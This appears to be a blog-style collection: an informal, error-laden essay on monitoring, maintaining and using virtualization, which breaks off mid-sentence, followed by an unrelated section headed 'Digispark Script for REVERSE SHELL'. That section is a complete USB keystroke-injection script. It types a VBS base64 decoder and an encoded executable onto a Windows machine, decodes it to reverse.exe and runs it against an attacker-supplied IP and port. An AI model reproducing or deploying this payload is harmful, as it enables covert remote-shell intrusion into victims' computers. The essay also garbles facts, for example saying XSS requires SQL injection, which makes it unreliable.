Documenting, testing, reviewing and analyzing your virtual infrastructure.

When we analyze our system we must keep a log of the data as time progresses we can review and compare how our system has performed over time and determine what software and services are the most intensive and what can we do to improve them. For example keeping a log for each virtual machines CPU / Memory usage over time can indicate when the machine has had an issue, can help us find the any vulnerabilities in the system and can also give us an indication if the system has been infected with a virus and has not been detected by the anti-virus.

Viruses like worms hog up system resources and spread through the network infecting more more system as they go on. If we see a sudden spike in the system using too much resources it will be a cause for concern . Viruses can spread from vm to host (although it is very difficult ) it is possible that they can spread since they use the same hardware resources. Most importantly software developers should be aware of these vulnerabilities and make sure that visualization software and software on the virtual machines is properly virtualiazed.

Using spread-sheet software we can create charts and visual representations of how virtual machines have performance over time and in addition create a list with all the vulnerabilities found in the systems over time. This allows to view the data in an easy to read way and acknowledge what how safe our virtualized solution is from threats . Keeping logs is very important for reviewing any problems that happened over time .

Software we can use to create a better analysis is one like ELKI which can be used to create also future prediction of the possible usage and more. We must plan and adapt to ever changing hardware requirements be continuously upgrading software and hardware to meet standards that are set by the company in order to function correctly.

To build  a stable infrastructure we need feedback and lots of times to fix any issues regarding it. To collect feedback from customers we can ask them to complete a questionnaire regarding the system every end of month. We can then use that data  in the forms of graphs and charts to allow us to see any improvements regarding the system . Also we can review any issues the users might have with the infrastructure and also prioritize any common issues that arise .

         Meetings can be setup to inform the IT staff each month of the findings and allow the staff to discuss any issues that have risen in the last month from their point of view . For example if end users and having a difficult time accessing certain services , if bandwidth is not enough for the users to use voip and other network services simultaneously . This can be solved by integrating QOS (Quility of Service ) allowing us to configure which services have priority over others . In most cases using QOS will eliminate most bandwidth issues when using a decent connection .

            Using the data collected we can can test any changes we would like to make to the system in a virtualised environment, so that if any thing goes wrong we can just roll back to a previous snapshot in just a matter of minuets . If one of the virtual machines has a virus we can be assured that it cannot spread to the host machine allowing us to safely deal with the virus in the vm with out affecting the host system .

            On every operating system there are built in tools to monitor the performance of the system which display data in a visual way which allow for easy monitoring of the system. Performance monitor in windows gives use the option to display data on almost anything on the system . We can set it up to create a log file every so often and give us an analysis on the data gathered .

            We can also monitor Linux systems with a program called ajenti which gives us a web interface of the Linux system allowing to see system information such as disk space , processor usage , disk usage , free ram space , swap file and much more . It will also keep logs of any event that happens on the system  and even allowing us to use the terminal remotely.

            Even though visualization is a revolutionary step in forward in technology we cannot virtualize everything . For example even thought  developers can develop in  virtual environments they can virtualize specific hardware like graphics cards . Games for example cannot be run in a machine since they need the drivers necessary to work . Code will

Monitoring VM solutions

When monitoring our Virtual solution we have many different options to choose from one of the leading tools on the market “Nessus”. Nessus is a tool used to monitor , patch and find security vulnerabilities in our vm solutions . It is continuously monitors the virtual machines , as stated on their web site Nessus can log in and pull information from VMs, such as active and inactive VMs on the host. This information is useful to continually audit your virtualized environment, and acting on it can help prevent VM sprawl”. This gives us an easy way of monitoring our solution since most of the hard work is done by the software. Also in extension we can use the software to Identify misconfiguration on the guest operating system, hyper visor, and applications running on the virtual images. It will Audit configuration against compliance standards or custom requirements.

Also other proprietary software for network monitoring can help us determine if Virtual machines are using too much bandwidth and causing instability in our network . One other piece of software to help us is “PRTG Network Monitor”. It screens system availability utilizing an assortment of strategies from straightforward ping through SNMP and WMI conventions to particular errands, for example, HTTP, DNS, and Remote Desktop accessibility utilizing different sensors. Utilizing particular sensors for particular machines, a manager can screen be told right away of issues. Additionally, PRTG accompanies some transfer speed checking sensors, so you can guarantee that malware intended to do DoS and other over-burden exercises are not working on your system.

Also we can use penetration testing specific operating systems like kali linux which is full of tools that can be used to “hack” into our system and find any vulnerabilities . For example we can use a tool in the linux terminal called nmap which allows us to find all open ports on our virtual machine then by exploiting open ports we can begin to try to infiltrate into our operating systems with other tools . We can try to exploit web server vulnerabilities using XSS or cross – scripting to run malicious code on the web server to do so we will have to use sql injection to inject sql commands through the webserver by accessing the website and deploying our code. Any users that view the code could them be infected. In this way we can find vulnerabilities and fix them at the same time this allows us to view the issues first hand but requires a knowledge of using the tools and the use of multiple programing languages .

Maintenance on virtualised solutions

To maintain a visualized solution we must focus on three aspects speed, stability, and security. Visualization offers many benefits such as isolation, live migration and intrusion detection. We can easily perform maintenance on a virtual machine by creating a snapshot of it when it is first installed allowing us if mistakes are made or the virtual machine is corrupted we can recover in just a matter of minutes to the snapshot. Using live migration to seamlessly move one virtual machine to an other physical server to balance the load on the server can improve performance and reliability of the visualized solution.

There are two options when using live migration seamless live migration and Pre-copy memory migration. Pre-copy memory migration is spit into three phases : Warm up phase , stop and copy phase and post copy memory migration . Warm up phase refers to the phase where the hyper visor copies all the memory pages from the source destination while the virtual machine is still running on the source . Stop and copy phase refers to the phase where the Virtual machine will be paused copying and page files left to the destination host and the virtual machine resumes on the destination host . The larger the memory of the applications running on the VM the larger the downtime of the virtual machine but downtime is almost zero since this process takes just a few milliseconds and the end user wont even notice.

Our visualization environments need to be secure that is why each virtuliased os is isolated allowing each one to work independently without conflicting with other systems. One issue which many network administrator are aware of is the attacks from inside the network. VM patching and user permissions are a must for any network and VM. We must split virtual machines into segments and form teams of people that can access these virtual machines. For example the accounting team can only access Virtual machines that are used for accounting software but cannot access the Virtual machines that are using in fields like engineering . Vendors such as Vmware offer products for extensive privilege management and compliance . This can allow us to limit what user can and cannot do which can help strengthen the security of the virtualized environment.

Benefits of virtualization technology

Virtualization has many benefits one of which is the reduction of power usage from running multiple physical servers and having to cool them all. Instead of running 16 physical servers we can run 4 physical servers each running 4 virtual servers cutting down on maintenance costs and and cooling of the servers . If any of the virtual operating systems fails at any point we can recover from an older snapshot of it in seconds reducing the downtime of the server to a minimum .

Even if the physical server has a problem or requires maintenance we can migrate already running Virtual machines to an other physical server without interrupting its services and without even the user noticing . Transfer is done through gigabit Ethernet with speeds of up to 1 GB/S .

Big companies use server for hosting websites , ftp servers, call centers etc. Running these services on different physical servers means more money is spent on buying maintaining and cooling the servers. This in turn will have much smaller maintenance cost, less room to store it in and has a smaller upfront cost than having multiple physical servers . The overall foot print of the data center will be much less since we don’t need to house as much servers so we can save space . Virtualization allows easy installation of multiple Virtual machines at once for example we can clone a Virtual machine as many times as we like.

Further more virtualization removes dependency on particular hardware there for we dont need to keep identical hardware on hand in case something fails so IT can save money by buying cheaper hardware . In addition organizations can build standby servers in case of disaster and transfer the VM without any issues to the standby servers. We can isolate applications in a virtual machine and even if one of the virtual machines manages to get a virus it cannot spread to the host or other virtual machines as it is “sand boxed” in the VM. Also we can use older software by just installing an older operating system on a virtual machine and continue running older services from it.

When using Distributed Resource scheduling If a virtual machine requires more power it will use unallocated resources from other virtual machines to balance the load between them. This allows it to be optimized automatically due to load.

Virtualization affects software and hardware , it allows programers to write parallel programs for large clusters of computers to use for example clusters of computers can be used to crack passwords or render large 3d images. Also it allows users to reuse old software that its now incompatible with new hardware by using virtualization. Further with virtualization we can have a dedicated file server where all the programs and data of the servers are stored leaving server storage for critical systems files of operating systems . Essentially cloud computing need virtualization to exist as cloud computing is essentially an on demand service on the internet . So you can rent your own web hosting server . When you rent your own web hosting server you are essentially renting a virtual machine in a remote location outside your business or home.

What is virtualization in computing and how it works?

Large business use large servers to run multiple services for example FTP, Web server , Call center etc. This is where visualization comes into play by running multiple operating systems on one powerful server we can fully utilize all of its power and have to only maintain one physical server. With single operating system it own all the hard resources but by using visualization technology we can share hardware between virtual operating systems allowing us to run multiple operating systems on the same hardware.

In addition we can use visualization on multiple physical servers and use migration tools to move running visualized operating system between physical servers to perform maintenance while still maintaining server downtime to a minimum. Visualization allows us to run different operating systems at the same time. There are different times of visualizations type 1 and type 2 hypervisiors . Type 1 hyper visors like Microsoft’s Hyper-v , Vmware , Citrix Xenserver and KVM run virtual operating systems directly of the hardware , this means that the virtual machines can utilize more resources than using a type 2 hyper visor. Type 2 hyper visors are already installed operating systems like windows server or Ubuntu server that first load the Virtual machine on the host os and then on the hardware. The hardware has to run the host os and the virtual machines there for it uses more resources .

When running a virtual machine the guest os does not know that it is running in a virtual space and can fully function as it would if it was running as a host os on a physical hardware. One of the best Visualization solutions would be Citrix as it offers an open source solution with enough flexibility and documentation to meet most companies needs in terms of visualization. It is also the cheapest solution as it is free and since it is a Type 1 hyper visor it can run guest operating systems directly from the hardware so the operating systems can work at there full potential. Citrix Xen server only takes about 10 minutes to install and allows IT staff to convert existing virtual or physical machines of previous installations to the newly installed server. It allows for scheduled VM snapshots that can be organized for achieving and use for disaster recovery.

Digispark Script for REVERSE SHELL

#include <avr/pgmspace.h>
#include “DigiKeyboard.h”
const char line1[] PROGMEM = “cmd”;
const char line2[] PROGMEM = “a”;
const char line3[] PROGMEM = “copy con c:\\decoder.vbs”;
const char line4[] PROGMEM = “Option Explicit:Dim arguments, inFile, outFile:Set arguments = WScript.Arguments:inFile = arguments(0)”;
const char line5[] PROGMEM = “:outFile = arguments(1):Dim base64Encoded, base64Decoded, outByteArray:dim objFS:dim objTS:set objFS =”;
const char line6[] PROGMEM = “CreateObject(\”Scripting.FileSystemObject\”):”;
const char line7[] PROGMEM = “set objTS = objFS.OpenTextFile(inFile, 1):base64Encoded =”;
const char line8[] PROGMEM = “objTS.ReadAll:base64Decoded = decodeBase64(base64Encoded):writeBytes outFile, base64Decoded:private function”;
const char line9[] PROGMEM = “decodeBase64(base64):”;
const char line10[] PROGMEM = “dim DM, EL:Set DM = CreateObject(\”Microsoft.XMLDOM\”):Set EL = DM.createElement(\”tmp\”):”;
const char line11[] PROGMEM = “EL.DataType = \”bin.base64\”:EL.Text = base64:decodeBase64 = EL.NodeTypedValue:end function:private Sub”;
const char line12[] PROGMEM = “writeBytes(file, bytes):Dim binaryStream:”;
const char line13[] PROGMEM = “Set binaryStream = CreateObject(\”ADODB.Stream\”):binaryStream.Type = 1:”;
const char line14[] PROGMEM = “binaryStream.Open:binaryStream.Write bytes:binaryStream.SaveToFile file, 2:End Sub”;
const char line15[] PROGMEM = “copy con c:\\reverse.txt”;
const char line16[] PROGMEM = “TVprZXJuZWwzMi5kbGwAAFBFAABMAQIAAAAAAAAAAAAAAAAA4AAPAQsBAAAAAgAAAAAAAAAA”;
const char line17[] PROGMEM = “AADfQgAAEAAAAAAQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAFAAAAACAAAAAAAA”;
const char line18[] PROGMEM = “AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA20IAABQAAAAAAAAAAAAAAAAA”;
const char line19[] PROGMEM = “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”;
const char line20[] PROGMEM = “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATUVXAEYS”;
const char line21[] PROGMEM = “0sMAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAwALSdduKFuvUABAAAABAAADvAgAA”;
const char line22[] PROGMEM = “AAIAAAAAAAAAAAAAAAAAAOAAAMC+HEBAAIvera1QrZeygKS2gP8Tc/kzyf8TcxYzwP8TcyG2”;
const char line23[] PROGMEM = “gEGwEP8TEsBz+nU+quvg6HI+AAAC9oPZAXUO/1P86yas0eh0LxPJ6xqRSMHgCKz/U/w9AH0A”;
const char line24[] PROGMEM = “AHMKgPwFcwaD+H93AkFBlYvFtgBWi/cr8POkXuubrYXAdZCtlq2XVqw8AHX7/1PwlVatD8hA”;
const char line25[] PROGMEM = “WXTseQesPAB1+5FAUFX/U/SrdefDAAAAAAAzyUH/ExPJ/xNy+MOwQgAAvUIAAAAAAAAAQEAA”;
const char line26[] PROGMEM = “MAFAAAAQQAAAEEAAaBwGMkAHagHoDnw4VQzoQgLIFTiean446lMMelAsFnRBMP0Bv1WysTNq”;
const char line27[] PROGMEM = “kQIGsnxVmiejeINmxwVke0+mOGe8XVBmlD05ZqNofmRmfiF9i3MM2QpqaJQtoTp6b0gV6kwF”;
const char line28[] PROGMEM = “EVBkkBBNRFWRFDxAeGooEGhdKP81MHTopJ5RVFWhVY2/bg4KCJAiC+FRFOgfgUvD/yUkILtv”;
const char line29[] PROGMEM = “KhwGQxghFL3DIghxzAFVi+yBxHz+/4hWV+hgrN2JRfwzHcmLdX44PB10Bx4iQPdB6/RR0XLp”;
const char line30[] PROGMEM = “AOFYO8F0C19eMLgDucnCCOGGSY29PHDlQyoJzy/gArAgqutz8iiNhRU5i/A2+DMqM+sbiwNm”;
const char line31[] PROGMEM = “MgfvImUgTf4iEeEoLe2UCIO53LcwS3T7OzpNCKgVWWUdZwpME0EdDxTr5qoNNgcZhzj0sH/A”;
const char line32[] PROGMEM = “VXMRi30Mxhe4An+CohOdaLCgWDQzDUYN5tH34f5Yo+7nRLsfFqnOEQTeVQE81BTUDhszwE7s”;
const char line33[] PROGMEM = “hwtw0ooGRj08ArMSDvffkOsLLDAZjQyJBkiDLQrAdfHoBBEzUcI44jCDxAf0avXoaQkZSf+9”;
const char line34[] PROGMEM = “gqogC9Aqk3U3+FAinSmGBvzoTS9oiyQ45lMaDwiNUAMhGIPABOP5//6AAvfTI8uB4USAdHzp”;
const char line35[] PROGMEM = “bMEMYHV3BvQQwEAC0OEbwlFbOkfESRnKDFcGCDAAADBAAGMwbWQAZj9AABQ4IEADd3MyXzOY”;
const char line36[] PROGMEM = “LmRs48CAZwdldGhvc0BieW5he23PHmOePPfr/w4SV1NBXc9hckZ1cBh5aMoscxNPJmNrYu/B”;
const char line37[] PROGMEM = “/7gDbJUacspebEzHV9NpdPNGp7yRR8NMQ29tiGFuZDZMaURifoB2cvudOlC3gudzFUFYIcBk”;
const char line38[] PROGMEM = “SNBDL2AAAAAAAGY/QABMb2FkTGlicmFyeUEAR2V0UHJvY0FkZHJlc3MAAAAAAAAAAAAAAAAA”;
const char line39[] PROGMEM = “AAxAAADpdL7//wAAAAIAAAAMQAAA”;
const char line40[] PROGMEM = “cscript c:\\decoder.vbs c:\\reverse.txt c:\\reverse.exe”;
const char line41[] PROGMEM = “c:\\reverse.exe (Your IP) (PORT)”;
const char line42[] PROGMEM = “exit”;

char buffer[256];

#define GetPsz(x) (strncpy_P(buffer, (char*)x, 256))
#define KEY_UP_ARROW    0x52
#define KEY_DOWN_ARROW  0x51
#define KEY_LEFT_ARROW    0x50
#define KEY_RIGHT_ARROW   0x4F
#define KEY_LEFT_GUI      0xE3
#define KEY_ESC       0x29
#define KEY_TAB       0x2B

void digiBegin() {
DigiKeyboard.sendKeyStroke(0,0);
DigiKeyboard.delay(50);
}

void digiEnd() {
const int led=1;
pinMode(led, OUTPUT);
while (1) {
digitalWrite(led, !digitalRead(led));
DigiKeyboard.delay(1000);
}
}

void printText(char *txt) {
DigiKeyboard.print(txt);
DigiKeyboard.update();
}

void setup() {
digiBegin();

DigiKeyboard.sendKeyStroke(KEY_ESC);

DigiKeyboard.sendKeyStroke(KEY_ESC,MOD_CONTROL_LEFT);

DigiKeyboard.delay(400);

// cmd
printText(GetPsz(line1));

DigiKeyboard.delay(400);

DigiKeyboard.sendKeyStroke(229);

DigiKeyboard.delay(400);

// a
printText(GetPsz(line2));

DigiKeyboard.delay(600);

DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW);

DigiKeyboard.sendKeyStroke(KEY_ENTER);

DigiKeyboard.delay(400);

// copy con c:\\decoder.vbs
printText(GetPsz(line3));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// Option Explicit:Dim arguments, inFile, outFile:Set arguments = WScript.Arguments:inFile = arguments(0)
printText(GetPsz(line4));

// :outFile = arguments(1):Dim base64Encoded, base64Decoded, outByteArray:dim objFS:dim objTS:set objFS =
printText(GetPsz(line5));

// CreateObject(\”Scripting.FileSystemObject\”):
printText(GetPsz(line6));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// set objTS = objFS.OpenTextFile(inFile, 1):base64Encoded =
printText(GetPsz(line7));

// objTS.ReadAll:base64Decoded = decodeBase64(base64Encoded):writeBytes outFile, base64Decoded:private function
printText(GetPsz(line8));

// decodeBase64(base64):
printText(GetPsz(line9));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// dim DM, EL:Set DM = CreateObject(\”Microsoft.XMLDOM\”):Set EL = DM.createElement(\”tmp\”):
printText(GetPsz(line10));

// EL.DataType = \”bin.base64\”:EL.Text = base64:decodeBase64 = EL.NodeTypedValue:end function:private Sub
printText(GetPsz(line11));

// writeBytes(file, bytes):Dim binaryStream:
printText(GetPsz(line12));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// Set binaryStream = CreateObject(\”ADODB.Stream\”):binaryStream.Type = 1:
printText(GetPsz(line13));

// binaryStream.Open:binaryStream.Write bytes:binaryStream.SaveToFile file, 2:End Sub
printText(GetPsz(line14));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

DigiKeyboard.sendKeyStroke(KEY_Z,MOD_CONTROL_LEFT);

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// copy con c:\\reverse.txt
printText(GetPsz(line15));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// TVprZXJuZWwzMi5kbGwAAFBFAABMAQIAAAAAAAAAAAAAAAAA4AAPAQsBAAAAAgAAAAAAAAAA
printText(GetPsz(line16));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AADfQgAAEAAAAAAQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAFAAAAACAAAAAAAA
printText(GetPsz(line17));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA20IAABQAAAAAAAAAAAAAAAAA
printText(GetPsz(line18));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
printText(GetPsz(line19));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATUVXAEYS
printText(GetPsz(line20));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// 0sMAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAwALSdduKFuvUABAAAABAAADvAgAA
printText(GetPsz(line21));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AAIAAAAAAAAAAAAAAAAAAOAAAMC+HEBAAIvera1QrZeygKS2gP8Tc/kzyf8TcxYzwP8TcyG2
printText(GetPsz(line22));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// gEGwEP8TEsBz+nU+quvg6HI+AAAC9oPZAXUO/1P86yas0eh0LxPJ6xqRSMHgCKz/U/w9AH0A
printText(GetPsz(line23));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AHMKgPwFcwaD+H93AkFBlYvFtgBWi/cr8POkXuubrYXAdZCtlq2XVqw8AHX7/1PwlVatD8hA
printText(GetPsz(line24));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// WXTseQesPAB1+5FAUFX/U/SrdefDAAAAAAAzyUH/ExPJ/xNy+MOwQgAAvUIAAAAAAAAAQEAA
printText(GetPsz(line25));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// MAFAAAAQQAAAEEAAaBwGMkAHagHoDnw4VQzoQgLIFTiean446lMMelAsFnRBMP0Bv1WysTNq
printText(GetPsz(line26));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// kQIGsnxVmiejeINmxwVke0+mOGe8XVBmlD05ZqNofmRmfiF9i3MM2QpqaJQtoTp6b0gV6kwF
printText(GetPsz(line27));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// EVBkkBBNRFWRFDxAeGooEGhdKP81MHTopJ5RVFWhVY2/bg4KCJAiC+FRFOgfgUvD/yUkILtv
printText(GetPsz(line28));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// KhwGQxghFL3DIghxzAFVi+yBxHz+/4hWV+hgrN2JRfwzHcmLdX44PB10Bx4iQPdB6/RR0XLp
printText(GetPsz(line29));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AOFYO8F0C19eMLgDucnCCOGGSY29PHDlQyoJzy/gArAgqutz8iiNhRU5i/A2+DMqM+sbiwNm
printText(GetPsz(line30));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// MgfvImUgTf4iEeEoLe2UCIO53LcwS3T7OzpNCKgVWWUdZwpME0EdDxTr5qoNNgcZhzj0sH/A
printText(GetPsz(line31));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// VXMRi30Mxhe4An+CohOdaLCgWDQzDUYN5tH34f5Yo+7nRLsfFqnOEQTeVQE81BTUDhszwE7s
printText(GetPsz(line32));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// hwtw0ooGRj08ArMSDvffkOsLLDAZjQyJBkiDLQrAdfHoBBEzUcI44jCDxAf0avXoaQkZSf+9
printText(GetPsz(line33));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// gqogC9Aqk3U3+FAinSmGBvzoTS9oiyQ45lMaDwiNUAMhGIPABOP5//6AAvfTI8uB4USAdHzp
printText(GetPsz(line34));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// bMEMYHV3BvQQwEAC0OEbwlFbOkfESRnKDFcGCDAAADBAAGMwbWQAZj9AABQ4IEADd3MyXzOY
printText(GetPsz(line35));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// LmRs48CAZwdldGhvc0BieW5he23PHmOePPfr/w4SV1NBXc9hckZ1cBh5aMoscxNPJmNrYu/B
printText(GetPsz(line36));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// /7gDbJUacspebEzHV9NpdPNGp7yRR8NMQ29tiGFuZDZMaURifoB2cvudOlC3gudzFUFYIcBk
printText(GetPsz(line37));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// SNBDL2AAAAAAAGY/QABMb2FkTGlicmFyeUEAR2V0UHJvY0FkZHJlc3MAAAAAAAAAAAAAAAAA
printText(GetPsz(line38));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AAxAAADpdL7//wAAAAIAAAAMQAAA
printText(GetPsz(line39));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

DigiKeyboard.sendKeyStroke(KEY_Z,MOD_CONTROL_LEFT);

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// cscript c:\\decoder.vbs c:\\reverse.txt c:\\reverse.exe
printText(GetPsz(line40));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// c:\\reverse.exe YOUR SERVER IP (PORT)
printText(GetPsz(line41));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// exit
printText(GetPsz(line42));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

digiEnd();

}
/* Unused endless loop */
void loop() {}